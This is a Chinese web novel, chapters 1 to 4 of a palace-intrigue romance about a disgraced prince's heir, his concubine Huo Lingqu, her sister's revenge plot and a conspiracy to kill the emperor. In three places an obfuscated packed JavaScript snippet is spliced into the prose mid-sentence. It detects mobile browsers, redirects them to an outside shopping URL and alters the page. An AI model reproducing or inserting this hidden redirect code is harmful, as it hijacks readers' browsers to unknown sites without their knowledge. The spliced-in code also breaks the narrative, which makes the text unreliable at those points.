《我观贵妃多后盾》 1. 第1章 授康36年秋,龙座上的老皇帝六十岁寿诞,普天同庆,众友邻邦遣使、各封疆大吏们皆奉命进京朝拜,国都城中热闹喜庆攀至顶峰。 夜融进深沉的漆黑完美化成渗人的可怖,忽来的狂风吹得竹林飒飒作响,夜雨紧随沓至,如瀑雨珠以其最锋锐之势砸得茂密狂舞的竹叶弯腰、林间竹屋廊下摆的墨菊奄奄一息,也敲醒了竹屋内室的睡梦中人。 屋中黑沉伸手不见五指,素纱床帐里,霍灵渠睁眼凝望黑暗许久,拥被坐起,单手支着有些昏沉的脑袋,无端心慌升起,不好的预感萦绕心间,可她猜不出头绪。 “有心事?” 耳畔响起的男音未夹半分朦胧睡意,她尚未做回应,晏霁之的右手已搭在她肩头:“以前雷鸣闪电也没吓到过你,今夜怎么神不守舍?” “也不知何故,心中总觉不安。”霍灵渠闭闭眼:“我想去庙里求个平安符。” “我近日事情多抽不出空闲,等我忙过这阵,你且先抄佛经安神。”晏霁之语调温润,言中之意却不容商榷,霍灵渠自然听得出只是仍然说:“我可独自去拜佛或让哑婶陪我。” “现正值皇帝庆贺六十岁大寿期间,城中拥堵,京郊亦不遑多让。”晏霁之下个似乎并不关联的定论:“不太平。” 饱受打击的竹林呼啸嘶鸣好似群魔乱舞,逐渐转厉的狂风暴雨像有摧毁竹屋的力量,霍灵渠被牵引着看向内室窗户方向,眨眨眼陷落几丝倦意:“这场疾风暴雨也不知会惊醒几人,听说老皇帝六十岁寿诞前后要热闹个把月。” 隔着丝薄寝衣还能感触到女人圆润丝滑的肩头握在掌心的舒服,晏霁之抚抚她的香肩,声线关怀浮动:“别着凉了。” 霍灵渠依言拥被躺下歇息,静躺许久后慢慢入眠。 暴风雨肆虐半夜堪停,旭日东升,雨水冲刷过的晴空澄澈湛蓝,氤氲水汽和着阳光照耀的竹林豁然舒旷,缀满枝叶草尖的露珠叮咚跳跃,争相向上的茂竹抖擞绽放嫩绿,唯有竹屋廊下那墨菊盆栽如霜打茄子般憔悴。 晏霁之一袭青衫淡雅,正打理盆栽时闻得脚步声走近,随即调侃声入耳:“听说英王府被夺爵抄家后你带着那个从青楼买的小妾在京郊搭间竹屋成天出双入对。 她人呢?本王远道而来,就是为了要见这位让你掏四万两白银天价买的小妾究竟多美,竟会迷得你魂神颠倒?” “她早已过容颜鼎盛年岁,哪能及京畿第一美人,”晏霁之放掉盆栽转身,在距离他十多步之外站在两个黑衣劲装的男人,他对着穿墨黑长袍佩金腰带的访客笑:“闻昨晚宫宴,皇后有意将她那京畿第一美人的侄女许配给王爷,小民恭贺王爷不日将抱得美人归。” 云南王嗤笑声,迈开长腿走向竹屋东南角的石桌前,拎拎石桌上的茶壶有水,翻起一只茶杯,倒杯茶给自己喝,一口饮尽,恭维道:“今年新进贡的雀舌,晏霁之你这平民生活过得可够好,怪不得狗皇帝要夺你爵抄你家。” “不久前晋王送的,怕被赶尽杀绝,自然得接。”晏霁之再翻起两只茶杯,执起茶壶斟茶至七八分满,递杯茶给同样一身黑袍但着装朴素的男人:“国公爷请。” 云南王呵呵哒:“我和护国公刚走了圈,竹屋外方圆一里地层层防卫,比狗皇帝的金殿守卫还森严,他不对你英王府赶尽杀绝还对谁?” “对已故的先护国公或者对你家对你爹,前车之鉴还少吗?”晏霁之一眼扫过他俩人,言笑晏晏:“我说的可对,护国公? 或者我该称呼声六皇子,自授康十九年你在皇城中销声匿迹至今已十七年,真可惜亲爹没认出你,也没看见你们堂兄弟俩一如既往地在他眼皮底下捣鬼。” “你想多了,两年前英王被抄家夺爵、晏氏势力被拔起引发朝堂震动,我们才联系,作为我镇守云南他镇守北境两个封疆大吏间的联系,此前十几年没见过、生死不知。” 云南王无语凝噎道:“我问他为何不来找我,这货跟我说他失忆了,十三四岁前的事忘得一干二净,不知那狗皇帝才是他爹,更以为护国公是他亲爹而非亲舅舅。” 晏霁之被神奇得咳嗽声,端起茶杯慢慢啜饮。 被嘲的护国公深觉无辜:“我是真的不记得了,我也很想想起来。” “闭嘴吧,把咱俩在皇城中捎走的那玩意儿扔出来。”云南王嫌弃声落,一樽四四方方长宽约二寸许周身盘凤凰雕刻图案的青铜方尊被扔到石桌上,晏霁之拾起打量遍后评价道:“像觥,青铜破败证明年代久远。” “这么个破玩意儿能斗转星移回溯光阴彻底扭转乾坤?怕是那狗皇帝伯伯吃丹药吃得脑袋成石浆想长生不老想得疯魔了吧?”云南王七分真话三分疑惑,护国公继续掏出把匕首扔在石桌上:“试试,不是说皇帝得的宝器会吸血?” 晏霁之把青铜方尊递给他:“吾闻它专挑皇家血脉,宫娥太监的血液点滴不融。” 云南王纠正:“宫中确凿消息是晋王湘王这些小兔崽的血滴也根本不融,好像就狗皇帝和老四老五的血能融,然后老四老五就被那疯魔似的狗爹逼着隔三岔五给它割血喝。” 护国公拿过匕首割破手滴血入青铜鼎中,早晨射进竹林的阳光金辉熠熠浸润心脾,照见青铜破败表壁最细微的纹理,也叫三人睁着眼无比清晰地看见颗颗血珠滴入青铜鼎中不过转瞬间便消弭于无形。 沉默逐渐蔓延,均已过而立之年且都不信怪力乱神的他们对这情景真有些难言究理。 云南王再倒杯茶喝,护国公挤干血渍后掏出条被洗得发白褪色的旧手绢擦擦,惹得他身旁之人再嫌弃:“放这么点点血你还要包扎伤口吗?你以前没这种臭毛病啊,北地的风沙没把你吹粗糙反而还把你吹得娇惯起来了吗?” “我媳妇要我照顾好自己。”护国公平淡解释,云南王嫌弃得都要翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459193|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白眼了:“请问兄弟你娶媳妇了吗?晏霁之花四万两白银买个花魁做宠妾已经够离谱了,你居然要把个婢女捧上正妻位,霍灵渠她爹够风流混蛋的也没你俩能耐。” “霍灵渠?”灵渠?直接拿运河名做名字吗?护国公随口问:“谁啊,她爹又是谁?” “你忘得真是够干净。”云南王抬手捂脸,晏霁之收回注目青铜鼎的视线,不动声色地引开话题:“皇后次兄兴献侯及其长女,昨晚宫宴你见过的,京畿第一美人漂亮吧?” 护国公哦了声:“没注意。” 云南王冷嗤:“哼,晏霁之,是你嫡亲表妹也不用接连夸吧,那么点姿色也不嫌寒碜,霍灵渠要是还活着保管比她这个掉价的异母妹妹俊俏十倍百倍。” “她们姐妹可相差十岁,她幼年生得再玉雪玲珑如今也、”晏霁之猛地收音,惊诧道:“何为‘霍灵渠要是还活着?’,她何时去世了?我便是住在京郊也知她在城中济善庵礼佛,身子骨康健,可没听闻她竟得重病遑论病故?” “假的!”云南王没意识到对方言谈中的细微古怪,毕竟按城中传言,晏霁之的前两句话完全多余,他立时目光森冷:“在庵堂礼佛的尼姑和嫁进武襄侯府的霍桑柔都是冒牌货,真正的霍灵渠姐妹俩早和她们的亲娘一样被你那个姨母弄死了。” 护国公眼神在他俩间打个转,倒杯茶喝,平淡地听八卦。 “阿漾,”晏霁之喊云南王的名,神情肃然:“你有何凭证?” “二十年前,霍灵渠屋中走水,她自己被灼烧毁容,生母丧命,只有她两岁的妹妹保全;此后她们姐妹移居霍家在山东的别庄生活,霍桑柔及笄要议亲才重返京畿。亲妹出嫁后,霍灵渠便自梳入庵堂礼佛,对吗?” 晏霁之点头:“你认为哪点不对?” “我逃难时遇到她们姐妹也在逃,霍灵渠的脸蛋好好的压根儿没烧伤,”云南王几乎是从牙齿缝中一字一顿蹦出话:“她从小生就张祸水脸,我一眼就认出她了,没错。 是我亲自在十五年前送霍灵渠回到京城,若是知道霍漓江根本护不住亲女——”他骤然怒火高涨,忽而别开眼又抹把脸,苦笑道:“我该带她走,无论如何都该带她走,哪怕我当时再艰难哪怕是朝不保夕也该带她走的。” 护国公稍微略觉尴尬地再倒杯茶喝,晏霁之沉默稍许问:“你因此至今孑然一身?” 云南王没回应,拎起茶壶倒杯茶、把茶当酒饮,饮毕,他捏着青玉茶杯往石桌重重一掷,玉杯底部瞬间裂出条缝隙,即使不会漏水,这只茶杯也报废了乃至整套茶具都废了:晏霁之挑剔、从没用过有瑕疵的东西。 “十年前我潜回京得到她的消息后就想给她报仇,可我当时还处境飘摇,只能隐忍。”云南王深吸口气缓缓吐出,目光灼灼道:“我这趟进京非但要狗皇帝的命,还有你那姨母,霍家和你外祖家包括你尽管放马过来。” 2. 第2章 竹屋清幽,悬挂廊下的竹风铃悠然摇曳,屋前墨菊贪婪汲取着阳光的滋补,石桌往东两三丈外石潭碧波粼粼,随着潭中水车转动拨起圈圈落水,动静之间似乎能让时光定格。 晏霁之看眼实为六皇子的护国公,见对方平静喝茶听风声看水车转动风铃轻摆,莞尔一笑似葱嫩绿意中开出抹粉艳,衬着他兰枝玉树般清隽高贵的脸庞鲜活起来。 “你随意。” “怎么,你和你那位二姨也有仇吗?”云南王收敛气势,饶有兴致的挑眉:“私仇,还是恨霍家在你英王府被狗皇帝清洗时袖手旁观,故意发泄呢?” “不爱管闲事。”晏霁之拿起桌角的铜铃晃晃,能闻声辩音的哑仆端着摆好新茶具的托盘走出竹屋为主人更换茶水。 对于这么五个字云南王只想怼他:“你还不如说你自顾不暇。” 哑仆端托盘离去,晏霁之进入正题:“可惜老皇帝最小的儿子也已经十二岁。” “捧个四五岁的儿皇帝上位,摄政王也是由我坐轮不到你,用得着你可惜吗?”云南王语调散漫,略感惋惜:“两年前那狗伯伯拔起的是后族就好了,霍皇后和霍家那么跋扈,他眼瞎的非要动你低调的英王府?!” “护国公府满门忠烈是什么下场,先太子又为何自刎?不过你爹是真不冤枉。”晏霁之玩笑道:“当年你爹若是能篡位成功,你能称呼他狗爹吗?那位皇帝伯父对你还是不错的,毕竟重新赐亲王爵位任命你镇守云南手握重权。” “我家就剩我这颗独苗了,”云南王着重提醒:“我的功绩是我真刀真枪拼出来的。” 护国公从旁插话:“功高震主就离被皇帝赶尽杀绝不远了。” 云南王斜他眼,屈起手指扣扣石桌道:“说说吧,等我干掉狗皇帝以后,咱们是以静制动以不变应万变还是挑个皇子捧上位?” 晏霁之调侃:“魏王招揽护国公可有八~九年了,当年定襄惨败,若非他拿命拼死保你,你早已是断头台上的亡魂焉能还有今日?国公爷如此恩将仇报合适吗?” “谢他自导自演,先害我全家再以救命恩人的身份想让我对他效死忠?”护国公冷然。 “够狠!”晏霁之喟叹,顺口提件往事:“当年二皇子与先太子争,落败后连同母亲妹都难逃死罪,淑妃身为亲娘却能逃过、还能在后宫中屹立至今再把幼子晋王扶起来,她可不简单,霍皇后没娘家支撑哪会是淑妃的对手?” “元后和你姑母晏贵妃活着的时候都没把她碾死,若非她娘家不中用哪会落到被霍氏后来居上。”云南王挑眼睨视:“你何意?” “投石问路。” 晏霁之眼底风芒潋滟,淡淡笑意比阳光熨帖,然石桌对坐的两位只觉得像毒蛇在吐信子,只是能在绝境中再拼杀出头,云南王和护国公自然也都不在意。 “找五皇子谈送淑妃去和她已故的儿女团聚,就看五皇子敢不敢接?” 云南王啧啧:“那母子俩给你献殷勤真是喂了狗了。” 护国公提示:“越王可是霍皇后的养子。”越王即五皇子,而霍皇后有亲儿湘王。 “你少时没跟他一起读过书吗?”晏霁之问:“你看他像是能甘心屈居人下?” “失忆了。”护国公再提示,晏霁之真想怀疑他这三个字的可信度,云南王没嫌弃数落就接茬:“那么多年前的事我也没印象了,我就记得老五和霍灵渠定过亲。 霍灵渠刚满七岁,霍氏就为侄女向狗皇帝求到了给他俩定亲的旨意;那时候霍家嫡长房嫡长女霍舒窈说亲事还尚早,这姑母就急吼吼地要替三侄女安排前程。 他忽而感伤:“这亲事可是绝掉了霍舒窈会嫁给皇子的机会,让长房的嫡长孙女在二房堂妹面前低一头;娘家所有侄女当中霍皇后最疼爱霍灵渠,怎么也没护住她?” 晏霁之垂眸瞟瞟清早女人亲手给他穿戴好的衣裳,弯弯唇随意闲侃:“二十年前你家可还安稳着,没听闻五皇子扬言不在意未婚妻被烈火灼烧毁容,愿意坚持婚事,多重情义。” 护国公不得不出声告诫:“要跑题了。” 两人不约而同被他给噎了噎,云南王气闷反呛:“你个王八羔子,当年给霍灵渠的赐婚圣旨出来,你还跑去找你那狗爹要求着取消旨意,自己还闹着想娶人家来着,现在你对你曾经想要求娶并且已经过世、逝者为大的女人简直是无情无义!” 护国公无辜辩白:“我不记得了。” 云南王被憋得也想怀疑他是不是故意:“你就拿着你失忆的本事走天下吧。” 晏霁之轻咳声再提:“还有吴王,把九皇子吴王送上路,尸体扔在佟家大老爷的书房,作为行凶证据的匕首也送到佟大老爷手中。” “你外祖家佟家?”云南王确认遍,晏霁之应:“对!” “这是恨外祖家在你英王府倒塌时袖手旁观?”云南王乐赞:“你下手可够黑的。” 晏霁之弹弹身上并没有的灰尘:“以结两姓之好为名踩着大族姻亲做踏脚石,佟家在算计晏氏家族时没料到要遭反噬可谓自作自受。” “吴王的命找后族谈如何?”护国公务实地建议:“如今老皇帝最宠吴王,朝堂皆知霍皇后与吴王势同水火;若吴王死,后族会最先被怀疑也会被最先排除,以此掩饰反其道行之,以霍氏向来嚣张的秉性应该会愿意。” “好啊!”云南王一掌拍向石桌:“在狗皇帝死前把朝堂搅浑,前面的全部败后把最小的兔崽扶上龙椅,老子就等着做摄政王。” “你最好也做足他们会防范被渔翁得利。”晏霁之以茶代酒举杯:“祝王爷旗开得胜。” 云南王举杯,茶水饮尽、痛快摔杯,报废掉竹屋第二套茶具后告辞,和护国公离去。 晏霁之独坐在石桌前,注视破败的青铜鼎半响继而拿起检查,没瞧出名堂,略略迟疑还是从腰际掏出随身佩戴的匕首划破手掌滴血,眼睁睁看着几滴血珠融进青铜鼎中消失不见,他忍不住叹口气,这该怎么弄? 翠竹轻晃掉落片竹叶,阳光下人影快速闪过,一名暗哨移至晏霁之身侧低声禀告件事,他吩咐将人请到竹篱笆前候着便收起青铜鼎往竹屋走去;放置好青铜鼎,他再出竹屋,见到竹篱笆前已经多出两位不速之客。 走近,发现来人竟然是城中撷芳馆的莫行首,他瞟眼这位行首身侧的男童,再看这一大一小都面带忐忑,淡笑问:“这位娘子有何事吗?” “我是您、您家流光姨娘的妹妹,同个爹娘生的亲妹妹,这是我儿子小祐。”霍桑柔一身良家妇的装扮,她没见过对方自然也认为晏霁之不知她的身份,赔笑道:“我相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459194|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公没了,我要再嫁,我已经跟姐姐商量好要把小祐托付给她照顾。” 晏霁之笑意浅浅:“流光进我内宅近八年,我可不知她有个妹妹。” “我们姐妹俩年幼丧父丧母又在投奔亲戚途中走散了,刚相认没多久,姐姐应该还没来得及跟您提。”霍桑柔保证道:“您让我见见姐姐就知道我没说谎,我们真是亲生姐妹。” “冒昧请教芳名?” “哦、我叫桑柔,姐姐说爹给我取的这名字出自《诗经》‘菀彼桑柔,其下侯旬。’” 知其名会不知其姓其身世?!晏霁之心头古怪,八年前他在烟花之地见到霍灵渠时曾以为她亲妹妹已逝,而她被迫沦落风尘无法再回霍家只得压住仇恨静待时机,一直都这么想,直到今早云南王说出变故—— 他信云南王曾经送过霍灵渠姐妹俩回京,但已经送到京畿怎会仍然悄无声息不为人知?那位二姨岂会有本事压得住乃至是抢在这姐妹俩走进霍府前又把人弄走? 即使有佟家相助真成功瞒住霍家,然后又又被这姐妹俩溜跑掉,可霍桑柔若是还活着,霍灵渠在他身边隐忍八年怎会既没半点要报仇的动静又不找亲妹? 晏霁之心中疑惑重重也只在瞬息间,闻言状似将信将疑:“流光一直在我身边,出门没我相伴也有哑仆跟随,我怎不知她见过你还认了个妹妹?” 霍桑柔连忙备上编好的说辞:“重阳节前您去看望父母没带我姐姐,京郊那大相国寺山脚下有重阳庙会,我们碰巧遇见;走散时我七岁,姐姐十三岁,虽然已经过去十五年,但姐姐从小就特别漂亮很好记,见到她时我就认出来了。” 年限是和云南王的说辞切合,霍灵渠那张祸水脸蛋也确实记好记好认,晏霁之沉吟道:“那你们稍等,我去向哑仆确认姨娘是否在重阳节去过大相国寺的庙会?” “好的。”霍桑柔满口笑应,等这人转身往竹屋走,她脸上才闪过与表现出的娇憨之态全然相反的狠厉决绝,美丽风情的眼眸中映出辛辣的痛恨。 一刻钟后,在竹屋中伺候的哑仆出门引客进屋。 内室桌案角放置的铜炉中檀香袅袅,飘忽的檀香熏过似淡犹重的墨汁,落下一纸心乱;霍灵渠凝神抄写佛经,熟悉的两声“姐姐”、“姨母”彻底冲垮她伪装的平静。 停在半空中的手迟迟难以落笔,墨汁顺着笔端掉落,一滴、两滴…就这般染花了工整的小楷和素白的纸张;她抬头,露出美得能倾国的祸水红颜,一身素衣钗环也未损她半分风姿神韵,似溶溶皎月映辉华彩满银河繁星,璀璨夺目得叫人心惊动魄。 晏霁之将她两人对照着打量,姐妹俩相貌有二三分相似,霍桑柔虽够美但和同母亲姐姐根本不在同等级,相比较起来反而与他那位表妹霍蓁蓁更多两分相像。 “找到年幼失散的妹妹怎么不告诉我,你跟我快八年了,我竟不知你在找妹妹?” “妾身蒙爷恩德已是大幸,不敢再劳您费心思。”霍灵渠调好心绪,放下毛笔起身相迎,眼波盈盈漾起笑意,婉转低眉颔首致歉:“没成想还是叨扰您了,那我与妹妹说说话。” “好,你们慢聊。”晏霁之扫眼她抄写的佛经,抬脚走出内室。 霍桑柔忙牵男童上前,还未言语,她姐姐沉下脸问她:“桑柔你要做什么?” 3. 第3章 妩媚纤弱褪尽,霍灵渠目光严厉,绝美的容颜顷刻间似有寒霜笼罩,自幼相依为命,她岂能猜不出妹妹行为异常背后的可能原委? “嫁人啊,重阳节见面时我跟你说过有个江南富商迷恋我愿意给我赎身还要娶我为妻,难道只能你有男人会给你赎身,我不能吗?”霍桑柔把背着的包裹塞给姐姐,努努嘴扮娇蛮:“这是这几年我攒到的金银珠宝,够养到小祐长大了。” 霍灵渠审视几息时间收起质问之态,接住包裹放到靠窗边的玫瑰椅中,走回书桌前,抬手摸摸男童的脑袋,柔声安抚道:“小祐不怕。 竹屋后面有花园菜地和果树,那橙子树结着黄澄澄的甜橙成熟了很可口,娘和姨母要说些大人的私房话,你乖乖去竹屋后面玩,有事情就跑回来找姨母。” 男童眼圈微红着点点头,吸吸鼻子,转身抬起小手臂抹抹眼睛,慢走两步又快跑起来,眨眼间跑出她们的视野;霍灵渠依旧注视他消失的方向,连日心慌在这刻沉入湖底。 “在这个人世间我们只有彼此和小祐,如果你背着姐姐要去做傻事,你让姐姐怎么活?你给我句实话,是不是被你打探到我们的身世了?” “没有!”霍桑柔立即否认:“你瞒得死死的非要独自承担,十几年都不肯告诉我,我还能怎么办?既然这样那我也不能一直留在青楼,而且我也有些过腻这种日子,那么恰好有个富商愿意给我赎身,当然要抓紧啊。” 霍灵渠转头逼视妹妹:“如果让我发现你骗我,黄泉路上你都别认我。” “可你会认我的。”霍桑柔埋汰:“姐姐你都不会威胁人还总要这么吓我,有意思吗?看我都把小祐给你送过来了,不是因为我铁心要嫁人能舍得吗? 况且娘去世时我才六岁能对娘剩多少印象,当我会像你那么傻吗?你都负担二十年了,真的不觉得累吗?我翻来覆去想好多年还是觉得我们该先为自己打算,我们姐妹的重心应该是过好下半生而非报仇,报仇只能靠机缘凭天意。” “真没骗姐姐?”霍灵渠有些松动,拉住她的手问,霍桑柔转而怀抱住姐姐背向而视,盯着这间竹屋,眼眸逐渐泛红:“你要确认八百遍吗?我为何要骗你,我们的前半生已经过得够苦了,后半生还不能为自己活吗?娘在天上不会怪我们的。 姐姐你也听我句劝,别听主公说那些什么你现在这男人口蜜腹剑奸同鬼蜮,我说只需男人对我们好就够了,他对你八年都没变心,不错的;你趁早给他生个孩子,有了孩儿你跟他才算真落定。” “自己都还没落定呢,”霍灵渠松开妹妹的怀抱,抬手拂过桑柔额角的碎发,殷殷期许牵动着眼底最深切的柔情:“当年我就不同意你步我后尘,可你不肯听;如今能有男人愿意对你好,你别使性子,好好跟他过,别操心姐姐和京畿的事。” “姐姐你就放心好啦,我都二十二岁了,我都懂得。”霍桑柔灿烂笑着,努力笑着,压住泪意掩住所有的恨与痛让姐姐放心,只是没忍住又抱住姐姐哽咽:“我走以后,我是说我嫁到南边以后,姐姐你带着小祐要好好过呀。” 竹屋往北有菜畦水汪花香馥郁,小灯笼似的黄橘缀满橘树枝头,明亮的阳光穿过枝叶缝隙散落一地细碎的光点,照见躲在橘树背后的男童暗暗伤心着无声落泪。 霍桑柔在竹屋中用顿午膳后独自离开,小小男童红着眼眶站在竹篱笆前一直不肯挪动,整下午闷闷难受,入夜后霍灵渠在客房给孩子铺床褥,看他难过,只能拉过孩子抱在怀里,宽慰道:“小祐莫怕,姨母也会像娘一样抚养照顾小祐。” “姨母,”男童哭声哀戚:“姨母知道我爹吗?娘不肯告诉小祐,姨母告诉小祐好不好?娘不要我了,姨母也不用养我、把我送给爹爹吧,我想要爹爹。” 霍灵渠眼眸顿生酸意,张张唇没能安抚反而先尝到片苦涩,平复下沉静道:“爹爹在很远很远的地方,很难找到,小祐就跟姨母生活。” 男童摇头祈求:“小祐已经八岁能走很远很远,小祐能找到爹爹的,姨母告诉我;别人都有爹爹,只有小祐从没见过爹爹,我想要爹爹。” 霍灵渠取出手帕给他擦擦泪,模棱两可地给个应承:“再过几年等小祐长大些再想,小祐现在还找不到爹爹,就安心跟姨母生活。” 安抚住小祐照顾他洗漱好后歇息,霍灵渠也没离开,坐在床前凝望男童的睡颜,晏霁之提灯笼找过来时她还坐着看着仿佛入了神。 “怎么像是触景生情睹物思人,难道我不让你与妹妹相见吗?”晏霁之握住宠妾的柔荑拉她站起,要带她回主卧不想遭到些许抵触,笑着提醒:“再过半个时辰要子时了。” “小祐很不安,我想陪孩子。” “我看这孩子定然已满七岁,和亲娘也得讲究男女大防,何况你只是位姨母,流光。” 霍灵渠抿抿唇,沉默下主动接过他手提的灯笼,走到烛台前掐灭屋中蜡烛,放轻脚步声和晏霁之退出此屋去他们住的内室。 夜半更深,静谧漆黑的屋中忽然响起阵重棍敲击声,一声声逼近床帐,晏霁之惊醒,刚睁眼复又阖眼假寐,素纱床帐晃动,他正待被发难时却没了动静,半响没等到对方动手反而是他的枕边人猛地跳醒坐起闹出点大动静,这是做噩梦? “近几夜就没见你睡安稳过,最近发生什么事了害你这般心思沉重?” “没事,是我心中不安觉得好像要出事。”霍灵渠脑袋很沉,她刚才做噩梦,跳醒后不记得梦境只有心慌,她真怕桑柔要嫁人是假而想以此骗过她去做傻事。 “日有所思方会夜有所梦,你必定有担心牵挂的事才不安。”晏霁之想握宠妾的皓腕却在锦被上触碰到样冷硬之物,下意识探其形检查,发现好像是今早拿到的青铜鼎?! 掀被出床铺,点亮蜡烛照明,晏霁之捧着婴儿手臂粗的蜡烛挂起素帐,烛光照见芙蓉缎面锦被之上歪斜躺着只破败的青铜鼎……短瞬间的傻眼过后,他不可思议地想,刚才的响声难道是青铜鼎发出的?这玩意儿还会跑?! 霍灵渠抬手按按沉重的脑袋,拉拉锦被躺回被窝歇息;晏霁之长长吁气,伸手捡起青铜鼎摆在多宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459195|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格架上,天亮后送回书房藏进木匣中锁住。 是夜重复昨晚经历,他要服了,随手把这青铜鼎扔在内室的角落里,等到第三晚发现青铜鼎没跑动,突然就有点头疼,这破玩意儿似乎没法控制。 虽然同居一室,霍灵渠担心妹妹心思沉重根本没注意,心慌地度过两日后再难按捺,不顾男人反对强硬坚持要进城,晏霁之斟酌道:“我派个人去请。” 霍灵渠半字未言妹妹住址只应声好,晏霁之出门招名暗哨吩咐好复返屋内,直白言道:“我要知道你的想法,快满八年了,我们是该敞开心扉谈谈。” “你识出我在流光这花名之外的真名叫霍灵渠才会要掏天价白银买我,我清楚你不惜本钱也要买我的原因。”霍灵渠垂眸,淡淡落字:“够了。” “够?”晏霁之好笑:“这八年竟让我有种你早已忘掉二十年前有场大火毁掉你的人生毁掉你此生所有的错觉,可你真能忘记吗?真的够,我问你想要孩儿傍身吗,你为何不要?即使清楚我在防备,可隐忍八年毫无动作,你留在我身边图什么?” “这声够是指以你我间的身份立场~我最多能给出的真心话。”霍灵渠平淡无波的解释,晏霁之笑了:“如今的你与二十年前可真是判若两人,如果我定要多知道?” “我很感激你,真心话。”霍灵渠回应,晏霁之挑眉:“感激?” 霍灵渠自嘲:“若非情非得已,世间几个女人会沦落风尘?你愿意买下我,给我多年安稳,我是很感激的。” 晏霁之愣了愣,叹息声牵过女人去美人榻落坐,抱美人入怀带着点点怜惜道:“你要报仇能做到什么地步我们彼此心知,和我说说真实想法这么难吗? 即使我的初衷是防备,可我从未伤害过你甚至能说我一直在保护你,毕竟我都能认出,当年你若是在风月场中多留几个月,保不齐在七八年前对你就已经是再次天翻地覆。” 不知被哪句话哪个字眼触动,霍灵渠抬抬眼眸看他,光彩魅惑的桃花眼一点点复杂,她明显狠狠挣扎过:“你为何愿意买下我?” “这算个疑惑吗?”晏霁之反问,霍灵渠涩然笑笑:“难道不算吗?”她眼眶红了红,又瞬间压住情绪,释然坦诚:“你我之间的确是我对不住你良多,两年前英王府被夺爵抄家有我一份功劳。” “……” 一定是鬼说的这女人报仇能做到什么地步我们彼此心知,竟然让他防备八年却连防备方向都搞错了,晏霁之褒奖道:“厉害了,不愧是我的宠妾。” 霍灵渠要退出这怀抱被拦住,晏霁之有点气不顺:“你要报仇不挑正主动手、拐着几道弯针对我家是几个意思?” 女人秉持沉默是金,晏霁之再拷问:“你对我如此恩将仇报,良心安吗?” 霍灵渠低眸:“良心早被狗吃了。”话落,抱着她的男人呵呵笑:“吾闻你前未婚夫多年风雨无阻每月前往济善庵拜佛烧香,如果这位是出自本心而非故作姿态摆给后族看,他若在争储中胜出成为新帝,你找他叙旧情应该能混个娘娘当。” 4. 第4章 二十年前的前未婚夫还能剩多少涟漪?对霍灵渠而言早已恍若前世,没牵起她半点波动,欲退离再被阻拦,她迎上晏霁之似笑非笑中隐藏危险的目光,只好主动靠近以男女间即将亲吻的暧昧姿势提醒他:“要继续吗?” 晏霁之憋闷地退让,看她起身走到桌案前抄写佛经,他自己做两遍深呼吸,走出竹屋,去石潭边喂金鱼吹冷风冷静冷静。 晌午前,被派往城中接霍桑柔的暗哨独身返回禀告:“撷芳馆的老鸨说莫欢姑娘昨日出堂去位富商家唱曲还会小住两日,但老鸨不肯透露是城中哪位富商。” 晏霁之屏退暗哨,去竹屋里转述消息。 决心嫁人怎会再出堂奉客?霍灵渠想到背后的可能心惊不已,让自己冷静,考虑好决定:“我要出趟门,找到桑柔再回,你让哑婶帮我照顾好小祐。” “想去哪里找?”晏霁之心说刚挑破窗户纸她就连点做妾室的自觉都没了。 “桑柔如果想要找兴献侯夫人报仇又想要瞒住我,必定会想要封住此事不传扬,那么她就不可能在众目睽睽时动手,最可能的情况是她会悄悄潜进霍府伺机而动。”霍灵渠赌道:“我亲自走趟霍府。” 晏霁之提醒:“你应该有兴献侯夫人是我亲姨的觉悟。” 霍灵渠疑惑:“你要陪我同去?” 鉴定完毕这个女人没自觉,晏霁之安排道:“我派两名死士即刻进城埋伏在兴献侯夫人身侧守株待兔比你去瞎找强。” “那你再多派些人手,免得真闹出事情来护不住桑柔逃离霍家。”霍灵渠即刻补充,转念想想仍有放心:“我还是也进城,留在城里来得及照应。” “那么你想好进城前该对我再交代些什么了吗?”晏霁之笑容和煦地把女人拉进怀中,黑湛湛的眼眸似汪深不见底的寒潭在不紧不慢地吞噬着他笑容中的温度。 “两年前我家被夺爵抄家,想趁机买走流光的富贵子弟可不少,你却还愿意跟着我,我以为是你对我情意深重死心塌地,今日看来这误会可真大,是因为指使你的人要你挖出晏家还隐匿的势力,对吧?” “等我找回桑柔再谈,既然决定告诉你,该我承担的后果,我就没想逃避。”霍灵渠很中肯地剖白:“否则我何苦要给自己找罪受?” “流光姨娘的良心可早被狗吃了,突然间就能变成敢作敢当的巾帼英雄?”晏霁之抬手取走她挽住发髻的白玉簪,霍灵渠满头如墨青丝立时垂下,男人温凉的指腹划过女人的脸颊,动作是那般轻柔:“我能信你没企图吗?” 